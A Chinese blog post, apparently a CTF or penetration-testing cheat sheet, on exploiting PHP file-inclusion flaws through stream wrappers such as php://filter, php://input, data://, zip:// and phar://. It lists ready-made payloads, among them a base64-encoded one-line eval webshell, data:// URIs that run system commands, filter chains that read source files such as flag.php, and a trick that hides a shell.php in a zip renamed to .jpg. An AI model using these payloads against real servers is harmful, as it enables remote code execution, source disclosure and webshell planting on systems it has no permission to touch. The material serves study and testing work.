PHP文件包含利用

 PHP 文件包含伪协议

协议

php版本

all_url_fopen

all_url_include

用法

file://

>=5.2

off/on

off/on

?file=file://D:/soft/www/phpcode.txt

php://filter

>=5.2

off/on

off/on

?file=php://filter/read=convert.base64-encode/resource=xxx.php

convert.base64-encode:将输入数据转换为Base64编码。

convert.base64-decode:将输入数据从Base64解码。

convert.quoted-printable-encode:将输入数据转换为Quoted-Printable编码。

convert.quoted-printable-decode:将输入数据从Quoted-Printable解码。

convert.iconv:使用iconv库进行字符集转换。

string.rot13:将输入数据应用ROT13编码。

string.toupper:将输入数据转换为大写字母。

string.tolower:将输入数据转换为小写字母。

file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

file=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

//传入一句话木马 <?eval($_POST[a])?>

php://input

>=5.2

off/on

on

?file=php://input POST数据:<?php phpinfo()?>

特殊一点:当请求头encrypte="multipart/form-data"时,php://input是无效的。

zip://

phar://

>=5.2

off/on

off/on

?file=zip://D:/soft/phpstudy/www/file.zip%23shell.txt

?file=phar://D:/soft/phpstudy/www/file.zip/shell.txt

compress.bzip2://

>=5.2

off/on

off/on

?file=compress.bzip2://D:/soft/phpstudy/www/file.gz

【or】?file=compress.bzip2://./file.gz

compress.zlib://

>=5.2

off/on

off/on

?file=compress.zlib://D:/soft/phpstudy/www/file.gz

【or】?file=compress.zlib://./file.gz

data://

>=5.2

on

on

?page=data://text/plain,<?php%20system("ls")?>

【or】

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

也可以

?page=data:text/plain,<?php%20system("ls")?>

【or】

?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

 

phar://

将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg)

phar://shell.jpg/shell.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值